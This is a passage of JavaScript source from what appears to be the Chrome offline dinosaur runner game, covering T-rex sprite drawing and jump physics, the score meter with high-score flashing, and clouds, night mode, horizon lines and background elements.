let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
this.config.WIDTH_DUCK :
this.config.WIDTH;
let sourceHeight = this.config.HEIGHT;
const outputHeight = sourceHeight;
let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;
// Width of sprite changes on jump.
if (this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
sourceWidth = this.config.WIDTH_JUMP;
}
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
sourceWidth *= 2;
sourceHeight *= 2;
jumpOffset *= 2;
}
// Adjustments for sprite sheet position.
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
// Flashing.
if (this.flashing) {
if (this.timer < this.config.FLASH_ON) {
this.canvasCtx.globalAlpha = 0.5;
} else if (this.timer > this.config.FLASH_OFF) {
this.timer = 0;
}
}
// Ducking.
if (!this.altGameModeEnabled && this.ducking &&
this.status !== Trex.status.CRASHED) {
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH_DUCK, outputHeight);
} else if (
this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
// Jumping with adjustments.
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
outputHeight);
} else {
// Crashed whilst ducking. Trex is standing up so needs adjustment.
if (this.ducking && this.status === Trex.status.CRASHED) {
this.xPos++;
}
// Standing / running
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH, outputHeight);
}
this.canvasCtx.globalAlpha = 1;
},
/**
* Sets a random time for the blink to happen.
*/
setBlinkDelay() {
this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
},
/**
* Make t-rex blink at random intervals.
* @param {number} time Current time in milliseconds.
*/
blink(time) {
const deltaTime = time - this.animStartTime;
if (deltaTime >= this.blinkDelay) {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
if (this.currentFrame === 1) {
// Set new random delay to blink.
this.setBlinkDelay();
this.animStartTime = time;
this.blinkCount++;
}
}
},
/**
* Initialise a jump.
* @param {number} speed
*/
startJump(speed) {
if (!this.jumping) {
this.update(0, Trex.status.JUMPING);
// Tweak the jump velocity based on the speed.
this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
this.jumping = true;
this.reachedMinHeight = false;
this.speedDrop = false;
if (this.config.INVERT_JUMP) {
this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
}
}
},
/**
* Jump is complete, falling down.
*/
endJump() {
if (this.reachedMinHeight &&
this.jumpVelocity < this.config.DROP_VELOCITY) {
this.jumpVelocity = this.config.DROP_VELOCITY;
}
},
/**
* Update frame for a jump.
* @param {number} deltaTime
*/
updateJump(deltaTime) {
const msPerFrame = Trex.animFrames[this.status].msPerFrame;
const framesElapsed = deltaTime / msPerFrame;
// Speed drop makes Trex fall faster.
if (this.speedDrop) {
this.yPos += Math.round(this.jumpVelocity *
this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
} else if (this.config.INVERT_JUMP) {
this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
} else {
this.yPos += Math.round(this.jumpVelocity * framesElapsed);
}
this.jumpVelocity += this.config.GRAVITY * framesElapsed;
// Minimum height has been reached.
if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
!this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
this.speedDrop) {
this.reachedMinHeight = true;
}
// Reached max height.
if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
!this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
this.speedDrop) {
this.endJump();
}
// Back down at ground level. Jump completed.
if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
(!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
this.reset();
this.jumpCount++;
if (Runner.audioCues) {
Runner.generatedSoundFx.loopFootSteps();
}
}
},
/**
* Set the speed drop. Immediately cancels the current jump.
*/
setSpeedDrop() {
this.speedDrop = true;
this.jumpVelocity = 1;
},
/**
* @param {boolean} isDucking
*/
setDuck(isDucking) {
if (isDucking && this.status !== Trex.status.DUCKING) {
this.update(0, Trex.status.DUCKING);
this.ducking = true;
} else if (this.status === Trex.status.DUCKING) {
this.update(0, Trex.status.RUNNING);
this.ducking = false;
}
},
/**
* Reset the t-rex to running at start of game.
*/
reset() {
this.xPos = this.xInitialPos;
this.yPos = this.groundYPos;
this.jumpVelocity = 0;
this.jumping = false;
this.ducking = false;
this.update(0, Trex.status.RUNNING);
this.midair = false;
this.speedDrop = false;
this.jumpCount = 0;
},
};
//******************************************************************************
/**
* Handles displaying the distance meter.
* @param {!HTMLCanvasElement} canvas
* @param {Object} spritePos Image position in sprite.
* @param {number} canvasWidth
* @constructor
*/
function DistanceMeter(canvas, spritePos, canvasWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.image = Runner.imageSprite;
this.spritePos = spritePos;
this.x = 0;
this.y = 5;
this.currentDistance = 0;
this.maxScore = 0;
this.highScore = '0';
this.container = null;
this.digits = [];
this.achievement = false;
this.defaultString = '';
this.flashTimer = 0;
this.flashIterations = 0;
this.invertTrigger = false;
this.flashingRafId = null;
this.highScoreBounds = {};
this.highScoreFlashing = false;
this.config = DistanceMeter.config;
this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
this.canvasWidth = canvasWidth;
this.init(canvasWidth);
}
/**
* @enum {number}
*/
DistanceMeter.dimensions = {
WIDTH: 10,
HEIGHT: 13,
DEST_WIDTH: 11,
};
/**
* Y positioning of the digits in the sprite sheet.
* X position is always 0.
* @type {Array<number>}
*/
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];
/**
* Distance meter config.
* @enum {number}
*/
DistanceMeter.config = {
// Number of digits.
MAX_DISTANCE_UNITS: 5,
// Distance that causes achievement animation.
ACHIEVEMENT_DISTANCE: 100,
// Used for conversion from pixel distance to a scaled unit.
COEFFICIENT: 0.025,
// Flash duration in milliseconds.
FLASH_DURATION: 1000 / 4,
// Flash iterations for achievement animation.
FLASH_ITERATIONS: 3,
// Padding around the high score hit area.
HIGH_SCORE_HIT_AREA_PADDING: 4,
};
DistanceMeter.prototype = {
/**
* Initialise the distance meter to '00000'.
* @param {number} width Canvas width in px.
*/
init(width) {
let maxDistanceStr = '';
this.calcXPos(width);
this.maxScore = this.maxScoreUnits;
for (let i = 0; i < this.maxScoreUnits; i++) {
this.draw(i, 0);
this.defaultString += '0';
maxDistanceStr += '9';
}
this.maxScore = parseInt(maxDistanceStr, 10);
},
/**
* Calculate the xPos in the canvas.
* @param {number} canvasWidth
*/
calcXPos(canvasWidth) {
this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
(this.maxScoreUnits + 1));
},
/**
* Draw a digit to canvas.
* @param {number} digitPos Position of the digit.
* @param {number} value Digit value 0-9.
* @param {boolean=} opt_highScore Whether drawing the high score.
*/
draw(digitPos, value, opt_highScore) {
let sourceWidth = DistanceMeter.dimensions.WIDTH;
let sourceHeight = DistanceMeter.dimensions.HEIGHT;
let sourceX = DistanceMeter.dimensions.WIDTH * value;
let sourceY = 0;
const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
const targetY = this.y;
const targetWidth = DistanceMeter.dimensions.WIDTH;
const targetHeight = DistanceMeter.dimensions.HEIGHT;
// For high DPI we 2x source values.
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
this.canvasCtx.save();
if (IS_RTL) {
if (opt_highScore) {
this.canvasCtx.translate(
this.canvasWidth -
(DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
this.y);
} else {
this.canvasCtx.translate(
this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
}
this.canvasCtx.scale(-1, 1);
} else {
const highScoreX =
this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
if (opt_highScore) {
this.canvasCtx.translate(highScoreX, this.y);
} else {
this.canvasCtx.translate(this.x, this.y);
}
}
this.canvasCtx.drawImage(
this.image,
sourceX,
sourceY,
sourceWidth,
sourceHeight,
targetX,
targetY,
targetWidth,
targetHeight,
);
this.canvasCtx.restore();
},
/**
* Covert pixel distance to a 'real' distance.
* @param {number} distance Pixel distance ran.
* @return {number} The 'real' distance ran.
*/
getActualDistance(distance) {
return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
},
/**
* Update the distance meter.
* @param {number} distance
* @param {number} deltaTime
* @return {boolean} Whether the acheivement sound fx should be played.
*/
update(deltaTime, distance) {
let paint = true;
let playSound = false;
if (!this.achievement) {
distance = this.getActualDistance(distance);
// Score has gone beyond the initial digit count.
if (distance > this.maxScore && this.maxScoreUnits ==
this.config.MAX_DISTANCE_UNITS) {
this.maxScoreUnits++;
this.maxScore = parseInt(this.maxScore + '9', 10);
} else {
this.distance = 0;
}
if (distance > 0) {
// Achievement unlocked.
if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
// Flash score and play sound.
this.achievement = true;
this.flashTimer = 0;
playSound = true;
}
// Create a string representation of the distance with leading 0.
const distanceStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.digits = distanceStr.split('');
} else {
this.digits = this.defaultString.split('');
}
} else {
// Control flashing of the score on reaching acheivement.
if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
} else {
this.achievement = false;
this.flashIterations = 0;
this.flashTimer = 0;
}
}
// Draw the digits if not flashing.
if (paint) {
for (let i = this.digits.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.digits[i], 10));
}
}
this.drawHighScore();
return playSound;
},
/**
* Draw the high score.
*/
drawHighScore() {
if (parseInt(this.highScore, 10) > 0) {
this.canvasCtx.save();
this.canvasCtx.globalAlpha = .8;
for (let i = this.highScore.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.highScore[i], 10), true);
}
this.canvasCtx.restore();
}
},
/**
* Set the highscore as a array string.
* Position of char in the sprite: H - 10, I - 11.
* @param {number} distance Distance ran in pixels.
*/
setHighScore(distance) {
distance = this.getActualDistance(distance);
const highScoreStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
},
/**
* Whether a clicked is in the high score area.
* @param {Event} e Event object.
* @return {boolean} Whether the click was in the high score bounds.
*/
hasClickedOnHighScore(e) {
let x = 0;
let y = 0;
if (e.touches) {
// Bounds for touch differ from pointer.
const canvasBounds = this.canvas.getBoundingClientRect();
x = e.touches[0].clientX - canvasBounds.left;
y = e.touches[0].clientY - canvasBounds.top;
} else {
x = e.offsetX;
y = e.offsetY;
}
this.highScoreBounds = this.getHighScoreBounds();
return x >= this.highScoreBounds.x && x <=
this.highScoreBounds.x + this.highScoreBounds.width &&
y >= this.highScoreBounds.y && y <=
this.highScoreBounds.y + this.highScoreBounds.height;
},
/**
* Get the bounding box for the high score.
* @return {Object} Object with x, y, width and height properties.
*/
getHighScoreBounds() {
return {
x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
y: this.y,
width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
height: DistanceMeter.dimensions.HEIGHT +
(DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
};
},
/**
* Animate flashing the high score to indicate ready for resetting.
* The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
*/
flashHighScore() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
let paint = true;
this.frameTimeStamp = now;
// Reached the max number of flashes.
if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
this.cancelHighScoreFlashing();
return;
}
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
if (paint) {
this.drawHighScore();
} else {
this.clearHighScoreBounds();
}
// Frame update.
this.flashingRafId =
requestAnimationFrame(this.flashHighScore.bind(this));
},
/**
* Draw empty rectangle over high score.
*/
clearHighScoreBounds() {
this.canvasCtx.save();
this.canvasCtx.fillStyle = '#fff';
this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
this.highScoreBounds.width, this.highScoreBounds.height);
this.canvasCtx.fill();
this.canvasCtx.restore();
},
/**
* Starts the flashing of the high score.
*/
startHighScoreFlashing() {
this.highScoreFlashing = true;
this.flashHighScore();
},
/**
* Whether high score is flashing.
* @return {boolean}
*/
isHighScoreFlashing() {
return this.highScoreFlashing;
},
/**
* Stop flashing the high score.
*/
cancelHighScoreFlashing() {
if (this.flashingRafId) {
cancelAnimationFrame(this.flashingRafId);
}
this.flashIterations = 0;
this.flashTimer = 0;
this.highScoreFlashing = false;
this.clearHighScoreBounds();
this.drawHighScore();
},
/**
* Clear the high score.
*/
resetHighScore() {
this.setHighScore(0);
this.cancelHighScoreFlashing();
},
/**
* Reset the distance meter back to '00000'.
*/
reset() {
this.update(0, 0);
this.achievement = false;
},
};
//******************************************************************************
/**
* Cloud background item.
* Similar to an obstacle object but without collision boxes.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @constructor
*/
function Cloud(canvas, spritePos, containerWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.gap =
getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);
this.init();
}
/**
* Cloud object config.
* @enum {number}
*/
Cloud.config = {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
WIDTH: 46,
};
Cloud.prototype = {
/**
* Initialise the cloud. Sets the Cloud height.
*/
init() {
this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
Cloud.config.MIN_SKY_LEVEL);
this.draw();
},
/**
* Draw the cloud.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = Cloud.config.WIDTH;
let sourceHeight = Cloud.config.HEIGHT;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
this.spritePos.y,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the cloud position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
this.xPos -= Math.ceil(speed);
this.draw();
// Mark as removeable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the cloud is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + Cloud.config.WIDTH > 0;
},
};
/**
* Background item.
* Similar to cloud, without random y position.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @param {string} type Element type.
* @constructor
*/
function BackgroundEl(canvas, spritePos, containerWidth, type) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.type = type;
this.gap =
getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
this.animTimer = 0;
this.switchFrames = false;
this.spriteConfig = {};
this.init();
}
/**
* Background element object config.
* Real values assigned when game type changes.
* @enum {number}
*/
BackgroundEl.config = {
MAX_BG_ELS: 0,
MAX_GAP: 0,
MIN_GAP: 0,
POS: 0,
SPEED: 0,
Y_POS: 0,
MS_PER_FRAME: 0, // only needed when BACKGROUND_EL.FIXED is true
};
BackgroundEl.prototype = {
/**
* Initialise the element setting the y position.
*/
init() {
this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
if (this.spriteConfig.FIXED) {
this.xPos = this.spriteConfig.FIXED_X_POS;
}
this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
this.spriteConfig.OFFSET;
this.draw();
},
/**
* Draw the element.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = this.spriteConfig.WIDTH;
let sourceHeight = this.spriteConfig.HEIGHT;
let sourceX = this.spriteConfig.X_POS;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the background element position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
if (this.spriteConfig.FIXED) {
this.animTimer += speed;
if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
this.animTimer = 0;
this.switchFrames = !this.switchFrames;
}
if (this.spriteConfig.FIXED_Y_POS_1 &&
this.spriteConfig.FIXED_Y_POS_2) {
this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
this.spriteConfig.FIXED_Y_POS_2;
}
} else {
// Fixed speed, regardless of actual game speed.
this.xPos -= BackgroundEl.config.SPEED;
}
this.draw();
// Mark as removable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the element is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + this.spriteConfig.WIDTH > 0;
},
};
//******************************************************************************
/**
* Nightmode shows a moon and stars on the horizon.
* @param {HTMLCanvasElement} canvas
* @param {number} spritePos
* @param {number} containerWidth
* @constructor
*/
function NightMode(canvas, spritePos, containerWidth) {
this.spritePos = spritePos;
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.xPos = containerWidth - 50;
this.yPos = 30;
this.currentPhase = 0;
this.opacity = 0;
this.containerWidth = containerWidth;
this.stars = [];
this.drawStars = false;
this.placeStars();
}
/**
* @enum {number}
*/
NightMode.config = {
FADE_SPEED: 0.035,
HEIGHT: 40,
MOON_SPEED: 0.25,
NUM_STARS: 2,
STAR_SIZE: 9,
STAR_SPEED: 0.3,
STAR_MAX_Y: 70,
WIDTH: 20,
};
NightMode.phases = [140, 120, 100, 60, 40, 20, 0];
NightMode.prototype = {
/**
* Update moving moon, changing phases.
* @param {boolean} activated Whether night mode is activated.
*/
update(activated) {
// Moon phase.
if (activated && this.opacity === 0) {
this.currentPhase++;
if (this.currentPhase >= NightMode.phases.length) {
this.currentPhase = 0;
}
}
// Fade in / out.
if (activated && (this.opacity < 1 || this.opacity === 0)) {
this.opacity += NightMode.config.FADE_SPEED;
} else if (this.opacity > 0) {
this.opacity -= NightMode.config.FADE_SPEED;
}
// Set moon positioning.
if (this.opacity > 0) {
this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);
// Update stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i].x =
this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
}
}
this.draw();
} else {
this.opacity = 0;
this.placeStars();
}
this.drawStars = true;
},
updateXPos(currentPos, speed) {
if (currentPos < -NightMode.config.WIDTH) {
currentPos = this.containerWidth;
} else {
currentPos -= speed;
}
return currentPos;
},
draw() {
let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
NightMode.config.WIDTH;
let moonSourceHeight = NightMode.config.HEIGHT;
let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
const moonOutputWidth = moonSourceWidth;
let starSize = NightMode.config.STAR_SIZE;
let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;
if (IS_HIDPI) {
moonSourceWidth *= 2;
moonSourceHeight *= 2;
moonSourceX = this.spritePos.x +
(NightMode.phases[this.currentPhase] * 2);
starSize *= 2;
starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
}
this.canvasCtx.save();
this.canvasCtx.globalAlpha = this.opacity;
// Stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.canvasCtx.drawImage(
Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
}
}
// Moon.
this.canvasCtx.drawImage(
Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
NightMode.config.HEIGHT);
this.canvasCtx.globalAlpha = 1;
this.canvasCtx.restore();
},
// Do star placement.
placeStars() {
const segmentSize = Math.round(this.containerWidth /
NightMode.config.NUM_STARS);
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i] = {};
this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);
if (IS_HIDPI) {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.HDPI.STAR.y +
NightMode.config.STAR_SIZE * 2 * i;
} else {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.LDPI.STAR.y +
NightMode.config.STAR_SIZE * i;
}
}
},
reset() {
this.currentPhase = 0;
this.opacity = 0;
this.update(false);
},
};
//******************************************************************************
/**
* Horizon Line.
* Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
* @param {HTMLCanvasElement} canvas
* @param {Object} lineConfig Configuration object.
* @constructor
*/
function HorizonLine(canvas, lineConfig) {
let sourceX = lineConfig.SOURCE_X;
let sourceY = lineConfig.SOURCE_Y;
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
}
this.spritePos = {x: sourceX, y: sourceY};
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.sourceDimensions = {};
this.dimensions = lineConfig;
this.sourceXPos = [this.spritePos.x, this.spritePos.x +
this.dimensions.WIDTH];
this.xPos = [];
this.yPos = 0;
this.bumpThreshold = 0.5;
this.setSourceDimensions(lineConfig);
this.draw();
}
/**
* Horizon line dimensions.
* @enum {number}
*/
HorizonLine.dimensions = {
WIDTH: 600,
HEIGHT: 12,
YPOS: 127,
};
HorizonLine.prototype = {
/**
* Set the source dimensions of the horizon line.
*/
setSourceDimensions(newDimensions) {
for (const dimension in newDimensions) {
if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
if (IS_HIDPI) {
if (dimension !== 'YPOS') {
this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
}
} else {
this.sourceDimensions[dimension] = newDimensions[dimension];
}
this.dimensions[dimension] = newDimensions[dimension];
}
}
this.xPos = [0, newDimensions.WIDTH];
this.yPos = newDimensions.YPOS;
},
/**
* Return the crop x position of a type.
*/
getRandomType() {
return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
},
/**
* Draw the horizon line.
*/
draw() {
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[0], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[1], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
},
/**
* Update the x position of an indivdual piece of the line.
* @param {number} pos Line position.
* @param {number} increment
*/
updateXPos(pos, increment) {
const line1 = pos;
const line2 = pos === 0 ? 1 : 0;
this.xPos[line1] -= increment;
this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;
if (this.xPos[line1] <= -this.dimensions.WIDTH) {
this.xPos[line1] += this.dimensions.WIDTH * 2;
this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
}
},
/**
* Update the horizon line.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
const increment = Math.floor(speed * (FPS / 1000) * deltaTime);
if (this.xPos[0] <= 0) {
this.updateXPos(0, increment);
} else {
this.updateXPos(1, increment);
}
this.draw();
},
/**
* Reset horizon to the starting position.
*/
reset() {
this.xPos[0] = 0;
this.xPos[1] = this.dimensions.WIDTH;
},
};
//******************************************************************************
/**
* Horizon background class.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Sprite positioning.
* @param {Object} dimensions Canvas dimensions.
* @param {number} gapCoefficient
* @constructor
*/
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.config = Horizon.config;
this.dimensions = dimensions;
this.gapCoefficient = gapCoefficient;
this.obstacles = [];
this.obstacleHistory = [];
this.horizonOffsets = [0, 0];
this.cloudFrequency = this.config.CLOUD_FREQUENCY;
this.spritePos = spritePos;
this.nightMode = null;
this.altGameModeActive = false;
// Cloud
this.clouds = [];
this.cloudSpeed = this.config.BG_CLOUD_SPEED;
// Background elements
this.backgroundEls = [];
this.lastEl = null;
this.backgroundSpeed = this.config.BG_CLOUD_SPEED;
// Horizon
this.horizonLine = null;
this.horizonLines = [];
this.init();
}
/**
* Horizon config.
* @enum {number}
*/
Horizon.config = {
BG_CLOUD_SPEED: 0.2,
BUMPY_THRESHOLD: .3,
CLOUD_FREQUENCY: .5,
HORIZON_HEIGHT: 16,
MAX_CLOUDS: 6,
};
Horizon.prototype = {
/**
* Initialise the horizon. Just add the line and a cloud. No obstacles.
*/
init() {
Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
this.addCloud();
// Multiple Horizon lines
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
this.dimensions.WIDTH);
},
/**
* Update obstacle definitions based on the speed of the game.
*/
adjustObstacleSpeed: function() {
for (let i = 0; i < Obstacle.types.length; i++) {
if (Runner.slowDown) {
Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
Obstacle.types[i].minGap *= 1.5;
Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;
// Convert variable y position obstacles to fixed.
if (typeof (Obstacle.types[i].yPos) == 'object') {
Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
}
}
}
},
/**
* Update sprites to correspond to change in sprite sheet.
* @param {number} spritePos
*/
enableAltGameMode: function(spritePos) {
// Clear existing horizon objects.
this.clouds = [];
this.backgroundEls = [];
this.altGameModeActive = true;
this.spritePos = spritePos;
Obstacle.types = Runner.spriteDefinition.OBSTACLES;
this.adjustObstacleSpeed();
Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;
BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;
this.horizonLines = [];
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.reset();
},
/**
* @param {number} deltaTime
* @param {number} currentSpeed
* @param {boolean} updateObstacles Used as an override to prevent
* the obstacles from being updated / added. This happens in the
* ease in section.
* @param {boolean} showNightMode Night mode activated.
*/
update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
this.runningTime += deltaTime;
if (this.altGameModeActive) {
this.updateBackgroundEls(deltaTime, currentSpeed);
}
for (let i = 0; i < this.horizonLines.length; i++) {
this.horizonLines[i].update(deltaTime, currentSpeed);
}
if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
this.nightMode.update(showNightMode);
this.updateClouds(deltaTime, currentSpeed);
}
if (updateObstacles) {
this.updateObstacles(deltaTime, currentSpeed);
}
},
/**
* Update background element positions. Also handles creating new elements.
* @param {number} elSpeed
* @param {Array<Object>} bgElArray
* @param {number} maxBgEl
* @param {Function} bgElAddFunction
* @param {number} frequency
*/
updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
const numElements = bgElArray.length;
if (numElements) {
for (let i = numElements - 1; i >= 0; i--) {
bgElArray[i].update(elSpeed);
}
const lastEl = bgElArray[numElements - 1];
// Check for adding a new element.
if (numElements < maxBgEl &&
(this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
frequency > Math.random()) {
bgElAddFunction();
}
} else {
